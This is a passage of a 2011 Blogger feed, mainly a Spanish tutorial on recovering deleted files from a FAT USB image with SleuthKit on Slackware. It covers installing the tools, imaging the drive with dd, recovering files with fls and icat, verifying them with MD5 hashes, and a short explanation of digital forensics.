style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;color:#000000;"&gt;Thks ! &lt;/span&gt; &lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-8209165813581095733?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/8209165813581095733/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/11/mysql-cluster-installation-under-ubuntu.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8209165813581095733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8209165813581095733'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/11/mysql-cluster-installation-under-ubuntu.html' title='Mysql-Cluster Installation under Ubuntu Linux:'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-vMNWsmYYQYI/TrCDyGcfIcI/AAAAAAAABcI/R8vouSq7SGw/s72-c/mysql-cluster.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-1325159288302428892</id><published>2011-11-01T14:23:00.000-07:00</published><updated>2011-11-01T14:38:22.404-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SleuthKit'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><category scheme='http://www.blogger.com/atom/ns#' term='Cracking'/><title type='text'>Recuperar archivos borrados bajo Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-uidNn7Xjuus/TrBmMSIGJ7I/AAAAAAAABbw/-CrwtwTJP1c/s1600/sleuthkit.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 225px; height: 159px;" src="http://2.bp.blogspot.com/-uidNn7Xjuus/TrBmMSIGJ7I/AAAAAAAABbw/-CrwtwTJP1c/s320/sleuthkit.png" alt="" id="BLOGGER_PHOTO_ID_5670144292069713842" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Software con el que vamos a trabajar:&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;b style="color: rgb(0, 0, 0);"&gt;SleuthKit&lt;/b&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;SleuthKit &lt;/b&gt;es una biblioteca y una colección de herramientas y servicios de Unix y de Windows, para permitir el análisis forense de sistemas informáticos. Esta fue escrita y mantenida por el investigador digital Brian Carrier.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;SleuthKit se puede utilizar en la investigación de extracción de datos de imágenes de windows, linux y unix.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:180%;"&gt;Entorno de trabajo:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Sistema Operativo: &lt;/b&gt;Slackware 13.37 x86_64.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:180%;"&gt;&lt;b&gt;Instalación completa de SleuthKit:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Requerimientos:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;libewf, afflib.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Instalar libewf:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Buscar el paquete en SlackBuilds.org&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;#wget http://slackbuilds.org/slackbuilds/13.37/libraries/libewf.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;#tar xvfz libewf.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;#cd libewf&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;#wget http://downloads.sourceforge.net/project/libewf/libewf/libewf-20100226/libewf-20100226.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;#./libewf.SlackBuild&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="font-size:85%;color:#990000;"&gt;#installpkg /tmp/libewf-20100226-x86_64-1_SBo.tgz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;Instalar afflib:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Buscar el paquete en SlackBuilds.org o el sitio oficial http://www.afflib.org/:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;NOTA 0: &lt;/span&gt;Lo baje del sitio oficial; pues no me quiso instalar el software de SlackBuilds.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#wget http://afflib.org/downloads/afflib-3.6.11.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#tar xvfz afflib-3.6.11.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#cd afflib-3.6.11&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#./configure&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#make&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#make install&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;Instalar SleuthKit:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Buscar el paquete en SlackBuilds.org&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#wget http://slackbuilds.org/slackbuilds/13.37/system/sleuthkit.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#tar xvfz sleuthkit.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#cd sleuthkit&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#wget http://downloads.sourceforge.net/sleuthkit/sleuthkit-3.2.1.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#./sleuthkit.SlackBuild&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#installpkg /tmp/sleuthkit-3.2.1-x86_64-1_SBo.tgz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Caso de uso:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;USB de 8 GB con los siguientes archivos:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;L3503.exe&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;R225.exe&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;clamwin-0.97.2-setup.exe&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;pygobject-2.26.0-x86_64-1.txz&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;usuario-claves.txt&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Location_interface.xls&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;NOTA 1:&lt;/span&gt; Se borraron los archivos totalmente de la USB usando el atajo &lt;span style="font-weight: bold;"&gt;SHIFT + Suprimir&lt;/span&gt;, lo que indica que no quedaron en la papelera. Luego se desmonto la USB del sistema Operativo, y por ultimo se volvió a montar en el sistema operativo, y se saco una imagen de ella usando el siguiente comando:&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#dd if=/dev/sdc1 of=img-usb.dd&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ahora trabajaremos sobre esa imagen.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;Listar el contenido de la imagen usando fls:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# fls -f fat img-usb.dd&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;r/r 3: x1nux&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;(Volume Label Entry)&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;r/r * 5: L3503.exe&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;r/r * 7: R225.exe&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;r/r * 10: clamwin-0.97.2-setup.exe&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;r/r * 14: pygobject-2.26.0-x86_64-1.txz&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;r/r * 17: usuario-claves.txt&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;r/r * 20: Location_interface.xls&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;Como recobrar los archivos vistos con fls ?:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;NOTA 2: &lt;/span&gt;Leer la ayuda de icat para tener en cuenta que el Tipo de File System que usamos en la usb es&lt;span style="font-weight: bold;"&gt; FAT&lt;/span&gt;, y tener en cuenta que el tipo de imagen que sacamos con "dd" fue una "&lt;span style="font-weight: bold;"&gt;raw&lt;/span&gt;"; teniendo en cuenta este tipo de cosas procedemos a:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;1ro:&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Sacar la suma md5 del archivo borrado, antes de recobrarlo:&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 5 | md5&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;8f9ccbdb647d6a7ff0c693a2700727aa -&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;NOTA 3:&lt;/span&gt; El numero&lt;span style="font-weight: bold;"&gt; 5&lt;/span&gt;, nombrado después de la imagen de disco "&lt;span style="font-weight: bold;"&gt;img-usb.dd&lt;/span&gt;" de la usb en el comando anterior, es el equivalente al archivo &lt;span style="font-weight: bold;"&gt;L3503.exe&lt;/span&gt;. lo pueden ver en la impresión en pantalla que arrojo el fls.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;r/r * 5: L3503.exe&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;2do:&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Recobrar el archivo borrado:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 5 &amp;gt; L3503.exe&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;NOTA 4: &lt;/span&gt;Esto nos debería generar el archivo llamado &lt;span style="font-weight: bold;"&gt;L3503.exe&lt;/span&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;3ro: &lt;/span&gt;&lt;span style="font-style: italic;"&gt;Sacar el MD5 del archivo recobrado:&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# md5sum L3503.exe&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;8f9ccbdb647d6a7ff0c693a2700727aa L3503.exe&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;4to:&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Comparar la salida del md5sum:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Compara la salida del md5sum con la salida del md5 que generamos antes de recobrar el archivo, si es el mismo, el archivo esta perfectamente recobrado.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-weight: bold;"&gt;5to: &lt;/span&gt;&lt;span style="font-style: italic;"&gt;Recobrar el resto de archivos:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;Sacar los MD5:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 7 | md5sum&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;588c9f669bfb9149c4f1d8e6729743ba -&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 10 | md5sum&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;d9570d28cc6c37f2fbe2130dea8dc4ea -&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 14 | md5sum&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;ff410eccc0f06740a37fcf4dbe9da1f3 -&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 17 | md5sum&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;58f6e7264c1e3958fc94930d7b33b02b -&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 20 | md5sum&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;71751923739b8533953b1fa311f678e1 -&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;Recobrar los archivos:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 7 &amp;gt; R225.exe&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 10 &amp;gt; clamwin-0.97.2-setup.exe&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 14 &amp;gt; pygobject-2.26.0-x86_64-1.txz&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 17 &amp;gt; usuario-claves.txt&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# icat -f fat -i raw img-usb.dd 20 &amp;gt; Location_interface.xls&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-weight: bold;"&gt;Sacar los MD5 de los archivos recobrados:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# md5sum R225.exe&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;588c9f669bfb9149c4f1d8e6729743ba R225.exe&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# md5sum clamwin-0.97.2-setup.exe&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;d9570d28cc6c37f2fbe2130dea8dc4ea clamwin-0.97.2-setup.exe&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# md5sum pygobject-2.26.0-x86_64-1.txz&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;ff410eccc0f06740a37fcf4dbe9da1f3 pygobject-2.26.0-x86_64-1.txz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# md5sum usuario-claves.txt&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;58f6e7264c1e3958fc94930d7b33b02b usuario-claves.txt&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# md5sum Location_interface.xls&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;71751923739b8533953b1fa311f678e1 Location_interface.xls&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NOTA 5:&lt;/span&gt; Recuerda comparar los md5 de los archivos reales con los que imprimio el icat para saber si estan en perfecto estado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Esta herremienta es usada para &lt;span style="font-weight: bold;"&gt;cómputo forense&lt;/span&gt;, lo cual se puede entender de la siguiente forma.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El&lt;span style="font-weight: bold;"&gt; cómputo forense&lt;/span&gt;, también llamado informática forense, computación forense, análisis forense digital o examinación forense digital es la aplicación de técnicas científicas y analíticas especializadas a infraestructura tecnológica que permiten identificar, preservar, analizar y presentar datos que sean válidos dentro de un proceso legal.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Dichas técnicas incluyen reconstruir el bien informático, examinar datos residuales, autenticar datos y explicar las características técnicas del uso aplicado a los datos y bienes informáticos.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Como la definición anterior lo indica, esta disciplina hace uso no solo de tecnología de punta para poder mantener la integridad de los datos y del procesamiento de los mismos; sino que también requiere de una especialización y conocimientos avanzados en materia de informática y sistemas para poder detectar dentro de cualquier dispositivo electrónico lo que ha sucedido.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La importancia de éstos y el poder mantener su integridad se basa en que la evidencia digital o electrónica es sumamente frágil. El simple hecho de darle doble clic a un archivo modificaría la última fecha de acceso del mismo.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Adicionalmente, un examinador forense digital, dentro del proceso del cómputo forense puede llegar a recuperar información que haya sido borrada desde el sistema operativo.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Gracias por la atención, espero les guste.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-1325159288302428892?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/1325159288302428892/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/11/recuperar-archivos-borrados-bajo-linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/1325159288302428892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/1325159288302428892'/><link rel='alternate' type='text/html' 